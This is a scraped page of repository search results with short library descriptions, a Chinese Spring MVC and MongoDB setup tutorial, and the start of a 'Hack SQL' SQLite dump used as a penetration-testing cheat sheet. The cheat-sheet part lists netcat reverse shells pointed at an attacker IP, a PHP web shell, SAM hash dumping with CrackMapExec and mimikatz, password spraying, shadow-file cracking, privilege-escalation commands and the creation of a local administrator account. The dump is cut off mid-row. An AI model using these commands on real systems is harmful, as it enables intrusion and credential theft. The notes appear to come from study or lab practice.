109 skills found · Page 1 of 4
elixir-ecto / Db ConnectionDatabase connection behaviour
altairbow / Django Db Connection PoolDatabase connection pool component library for Django
caijiahao / SpringMvcPlusMongo慕课网 首页 实战 路径 猿问 手记 登录 注册 11.11 Python 手记 \ 史上最全,最详idea搭建springdata+mongoDB+maven+springmvc 史上最全,最详idea搭建springdata+mongoDB+maven+springmvc 原创 2016-10-21 10:54:297759浏览2评论 作为IT届的小弟,本篇作为本人的第一篇手记,还希望各位大牛多多指点,以下均为个人学习所得,如有错误,敬请指正。本着服务IT小白的原则,该手记比较详细。由于最近使用postgre开发大型项目,发现了关系型数据库的弊端及查询效率之慢,苦心钻研之下,对nosql的mongoDB从无知到有了初步了解。 项目环境:win10+IntelliJ IDEA2016+maven3.3.9+MongoDB 3.2+JDK1.7+spring4.1.7 推荐网站(适合学习各种知识的基础):http://www.runoob.com/ mongo安装请参考http://www.runoob.com/mongodb/mongodb-window-install.html 由于最近osChina的maven仓库挂掉,推荐大家使用阿里的镜像,速度快的飞起 maven配置:<localRepository>F:\.m2\repository</localRepository> <mirrors> <mirror> <id>alimaven</id> <name>aliyun maven</name> <url>http://maven.aliyun.com/nexus/content/groups/public/</url> <mirrorOf>central</mirrorOf> </mirror> </mirrors> 这里不实用idea自带maven插件,改用3.3.9 图片描述 项目结构:图片描述 这里dao与mongoDao分别为mongoDB的两种查询方式: dao为JPA的查询方式(请参考springdataJPA) mongoDao使用mongoTemplate,类似于关系型数据库使用的jdbcTemplate 不罗嗦,上代码 先看配置文件 spring-context.xm为最基本的spring配置 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <!--扫描service包嗲所有使用注解的类型--> <context:component-scan base-package="com.lida.mongo"/> <!-- 导入mongodb的配置文件 --> <import resource="spring-mongo.xml" /> <!-- 开启注解 --> <context:annotation-config /> </beans> spring-web.xml为springmvc的基本配置 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-4.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd"> <!--配置springmvc--> <!--1.开启springmvc注解模式--> <!--简化配置: (1)主动注册DefaultAnnotationHandlerMapping,AnnotationMethodHandlerAdapter (2)提供一系列功能:数据绑定,数字和日期的format @NumberFormt @DataTimeFormat,xml json默认的读写支持--> <mvc:annotation-driven/> <!--servlet-mapping--> <!--2静态资源默认的servlet配置,(1)允许对静态资源的处理:js,gif (2)允许使用“/”做整体映射--> <!-- 容器默认的DefaultServletHandler处理 所有静态内容与无RequestMapping处理的URL--> <mvc:default-servlet-handler/> <!--3:配置jsp 显示viewResolver--> <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"> <property name="viewClass" value="org.springframework.web.servlet.view.JstlView"/> <property name="prefix" value="/WEB-INF/views/"/> <property name="suffix" value=".jsp"/> </bean> <!-- 4自动扫描且只扫描@Controller --> <context:component-scan base-package="com.lida.mongo.controller" /> <!-- 定义无需Controller的url<->view直接映射 --> <mvc:view-controller path="/" view-name="redirect:/goMongo/list"/> </beans> spring-mongo.xml为mongo配置 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xmlns:mongo="http://www.springframework.org/schema/data/mongo" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/data/mongo http://www.springframework.org/schema/data/mongo/spring-mongo.xsd"> <!-- 加载mongodb的属性配置文件 --> <context:property-placeholder location="classpath:mongo.properties" /> <!-- spring连接mongodb数据库的配置 --> <mongo:mongo-client replica-set="${mongo.hostport}" id="mongo"> <mongo:client-options connections-per-host="${mongo.connectionsPerHost}" threads-allowed-to-block-for-connection-multiplier="${mongo.threadsAllowedToBlockForConnectionMultiplier}" connect-timeout="${mongo.connectTimeout}" max-wait-time="${mongo.maxWaitTime}" socket-timeout="${mongo.socketTimeout}"/> </mongo:mongo-client> <!-- mongo的工厂,通过它来取得mongo实例,dbname为mongodb的数据库名,没有的话会自动创建 --> <mongo:db-factory id="mongoDbFactory" dbname="mongoLida" mongo-ref="mongo" /> <!-- 只要使用这个调用相应的方法操作 --> <bean id="mongoTemplate" class="org.springframework.data.mongodb.core.MongoTemplate"> <constructor-arg name="mongoDbFactory" ref="mongoDbFactory" /> </bean> <!-- mongodb bean的仓库目录,会自动扫描扩展了MongoRepository接口的接口进行注入 --> <mongo:repositories base-package="com.lida.mongo" /> </beans> mongo.properties #mongoDB连接配置 mongo.hostport=127.0.0.1:27017 mongo.connectionsPerHost=8 mongo.threadsAllowedToBlockForConnectionMultiplier=4 #连接超时时间 mongo.connectTimeout=1000 #等待时间 mongo.maxWaitTime=1500 #Socket超时时间 mongo.socketTimeout=1500 pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.liad</groupId> <artifactId>mongo</artifactId> <packaging>war</packaging> <version>1.0-SNAPSHOT</version> <name>mongo Maven Webapp</name> <url>http://maven.apache.org</url> <dependencies> <!--使用junit4,注解的方式测试--> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <!--日志--> <!--日志 slf4j,log4j,logback,common-logging--> <!--slf4j是规范/接口--> <!--log4j,logback,common-logging是日志实现 本项目使用slf4j + logback --> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>1.7.12</version> </dependency> <!--实现slf4j并整合--> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-core</artifactId> <version>1.1.1</version> </dependency> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-classic</artifactId> <version>1.1.1</version> </dependency> <!--数据库相关--> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.22</version> <!--maven工作范围 驱动在真正工作的时候使用,故生命周期改为runtime--> <scope>runtime</scope> </dependency> <!--servlet web相关--> <dependency> <groupId>taglibs</groupId> <artifactId>standard</artifactId> <version>1.1.2</version> </dependency> <dependency> <groupId>jstl</groupId> <artifactId>jstl</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.5.4</version> </dependency> <!--spring--> <!--spring核心--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>4.1.7.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>4.1.7.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>4.1.7.RELEASE</version> </dependency> <!--spring dao--> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-mongodb</artifactId> <version>1.8.0.RELEASE</version> </dependency> <dependency> <groupId>org.mongodb</groupId> <artifactId>mongo-java-driver</artifactId> <version>3.2.2</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>4.1.7.RELEASE</version> </dependency> <!--spring web--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>4.1.7.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>4.1.7.RELEASE</version> </dependency> <!--spring test--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-test</artifactId> <version>4.1.7.RELEASE</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.2</version> </dependency> <dependency> <groupId>commons-fileupload</groupId> <artifactId>commons-fileupload</artifactId> <version>1.3.2</version> </dependency> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.10</version> </dependency> </dependencies> <dependencyManagement> <dependencies> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-framework-bom</artifactId> <version>${spring.version}</version> <type>pom</type> <scope>import</scope> </dependency> <dependency> <groupId>net.sf.ehcache</groupId> <artifactId>ehcache-core</artifactId> <version>2.6.9</version> </dependency> </dependencies> </dependencyManagement> <build> <finalName>mongo</finalName> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>1.6</source> <target>1.6</target> </configuration> </plugin> </plugins> </build> </project> 两个实体类: /** * Created by DuLida on 2016/10/20. */ public class Address { private String city; private String street; private int num; public Address() { } public Address(String city, String street, int num) { this.city = city; this.street = street; this.num = num; } public String getCity() { return city; } public void setCity(String city) { this.city = city; } public String getStreet() { return street; } public void setStreet(String street) { this.street = street; } public int getNum() { return num; } public void setNum(int num) { this.num = num; } @Override public String toString() { return "Address{" + "city='" + city + '\'' + ", street='" + street + '\'' + ", num=" + num + '}'; } } /** * Created by DuLida on 2016/10/20. */ @Document(collection="person") public class Person implements Serializable { @Id private ObjectId id; private String name; private int age; private Address address; public Person() { } public Person( String name, int age, Address address) { this.name = name; this.age = age; this.address = address; } public ObjectId getId() { return id; } public void setId(ObjectId id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Address getAddress() { return address; } public void setAddress(Address address) { this.address = address; } @Override public String toString() { return "Person{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + ", address=" + address + '}'; } } JPA的dao,注意这里只要继承MongoRepository不用写注解spring就能认识这是个Repository,MongoRepository提供了基本的增删改查,不用实现便可直接调用,例如testMongo的personDao.save(persons); public interface PersonDao extends MongoRepository<Person, ObjectId> { @Query(value = "{'age' : {'$gte' : ?0, '$lte' : ?1}, 'name':?2 }",fields="{ 'name' : 1, 'age' : 1}") List<Person> findByAge(int age1, int age2, String name); } mongoTemplate的dao /** * Created by DuLida on 2016/10/21. */ public interface PersonMongoDao { List<Person> findAll(); void insertPerson(Person user); void removePerson(String userName); void updatePerson(); List<Person> findForRequery(String userName); } @Repository("personMongoImpl") public class PersonMongoImpl implements PersonMongoDao { @Resource private MongoTemplate mongoTemplate; @Override public List<Person> findAll() { return mongoTemplate.findAll(Person.class,"person"); } @Override public void insertPerson(Person person) { mongoTemplate.insert(person,"person"); } @Override public void removePerson(String userName) { mongoTemplate.remove(Query.query(Criteria.where("name").is(userName)),"person"); } @Override public void updatePerson() { mongoTemplate.updateMulti(Query.query(Criteria.where("age").gt(3).lte(5)), Update.update("age",3),"person"); } @Override public List<Person> findForRequery(String userName) { return mongoTemplate.find(Query.query(Criteria.where("name").is(userName)),Person.class); } } JPA查询的测试类: /** * Created by DuLida on 2016/10/20. */ @RunWith(SpringJUnit4ClassRunner.class) //告诉junit spring配置文件 @ContextConfiguration({"classpath:spring/spring-context.xml","classpath:spring/spring-mongo.xml"}) public class PersonDaoTest { @Resource private PersonDao personDao; /*先往数据库中插入10个person*/ @Test public void testMongo() { List<Person> persons = new ArrayList<Person>(); for (int i = 0; i < 10; i++) { persons.add(new Person("name"+i,i,new Address("石家庄","裕华路",i))); } personDao.save(persons); } @Test public void findMongo() { System.out.println(personDao.findByAge(2,8,"name6")); } } mongoTemplate查询的测试类 /** * Created by DuLida on 2016/10/21. */ @RunWith(SpringJUnit4ClassRunner.class) //告诉junit spring配置文件 @ContextConfiguration({"classpath:spring/spring-context.xml","classpath:spring/spring-mongo.xml"}) public class MongoTemplateTest { @Resource private PersonMongoImpl personMongo; @Test public void testMongoTemplate() { //personMongo.insertPerson(new Person("wukong",24,new Address("石家庄","鑫达路",20))); //personMongo.removePerson("name3"); //personMongo.updatePerson(); //System.out.println(personMongo.findAll()); System.out.println(personMongo.findForRequery("wukong")); } } 注意测试前请先通过testMongo()向数据库中插入数据。 项目源码Git地址,仅供学习使用:https://github.com/dreamSmile/mongo.git 参考资料http://docs.spring.io/spring-data/mongodb/docs/current/reference/html/ 本文原创发布于慕课网 ,转载请注明出处,谢谢合作! 相关标签:JAVAMongoDB 时间丶思考 天才小驴 你好小Song 陈词滥调1 4 人推荐 收藏 相关阅读 JAVA第三季1-9(模拟借书系统)作业 用pkp类,players类,playgame类三步教你写扑克牌游戏 Java入门第三季习题,简易扑克牌游戏 java学习第二季哒哒租车系统 Java入门第二季第六章练习题 请登录后,发表评论 评论(Enter+Ctrl) 全部评论2条 你好小Song2F 多数据源如何配置, 比如多个mongodb数据库再加mysql 1天前回复赞同0 时间丶思考 回复 你好小Song: 41分钟前 就在加一个datasource就行啊,原来mysql的datasource怎么加,现在就怎么加上就行,加上直接用。 回复 你好小Song1F 参考一下, 学习了. 2天前回复赞同0 时间丶思考 JAVA开发工程师 情劫难逃。 3篇手记 3推荐 作者的热门手记 神奇的Canvas贝塞尔曲线画心,程序员的表白 1021浏览18推荐3评论 深入探究setTimeout 和setInterval 44浏览1推荐0评论 网站首页企业合作人才招聘联系我们合作专区关于我们讲师招募常见问题意见反馈友情链接 Copyright © 2016 imooc.com All Rights Reserved | 京ICP备 13046642号-2
Don-No7 / Hack SQL-- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (5, 'Name-That-Hash', 'Find the hash type of a string', 'nth --text ''<hash>''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (6, 'Name-That-Hash', 'Find the hash type of a file', 'nth --file <hash file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (7, 'Nmap', 'scan for vulnerabilites', 'nmap --script vuln <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (8, 'Nikto', 'Scan host for vulnerabilites', 'nikto -h <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (9, 'SMBClient', 'check for misconfigured anonymous login', 'smbclient -L \\\\<HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (10, 'Hydra', 'Brutforce a webpage looking for usernames', 'hydra -l <user wordlist> -p 123 <HOST_IP> http-post-form ''/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=<output string on failure>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (11, 'SMBMap', 'enumerates SMB file shares', 'smbmap -u <user> -p <pass> -H <host IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (12, 'WPScan', 'Enumerate Wordpress website', 'wpscan --url <wp site> --enumerate --plugins-detection', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (13, 'WPScan', 'enumerate though known usernames', 'wpscan --url <HOST_IP> --usernames <USERNAME_FOUND> --passwords wordlist.dic', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (14, 'PowerShell', 'bypass execution policy', 'powershell.exe -exec bypass', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (15, 'TheHarvester', 'gathering informaiton from online sources', 'theharvester -d <domain> -l <#> -g -b google', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (16, 'Netcat', 'open a listener', 'nc -lvnp <port #>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (17, 'Netcat', 'Connect to computer', 'nc <attacker ip> <attacker port>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (18, 'GoBuster', 'Eunmerate directories on a website with a cookie', 'gobuster dir -u http://<IP> -w <wordlist> -x <extention> -c PHPSESSID=<cookie val>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (19, 'SQLMap', 'map sql at an IP', 'sqlmap -r <IP> --batch --force-ssl', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (20, 'John the Ripper', 'Use wordlist to parse hash', 'john <HASHES_FILE> --wordlist=<wordlist>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (21, 'John the Ripper', 'unencrypt shadow file', 'john <Unshadowed passwds>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (22, 'Unshadow', 'combine /etc/passwd and /etc/shadow file for cracking', 'unshadow <passwd> <shadow>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m <hash type> -a 0 -o <output file> <hash file> <wordlist> --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a <IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet //<IP>/<share> -U <username>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh <ATTACKING-IP> 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u "http://meh.com/form/" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u <URL> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb <target(s)> -u <username> -p <password> --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec <target(s)> -u ''<uesrname>'' -p ''<password>'' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb <target(s)> -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d </path/to/dictionary> <psk file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan <IP> -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan <IP> -A -P<file out>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w:<wordlist> <password_file> ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user <username> <password> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup <group> <username> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="<charlist>" <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d <file> <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u "<url of form>" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u "<form URL>?id=1>" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '<? php system ($ _ GET [''cmd'']); ?>', 'execute code via url', '<URL of php>?cmd=<code to execue>'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c "import pty;pty.spawn(''/bin/sh'');"', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 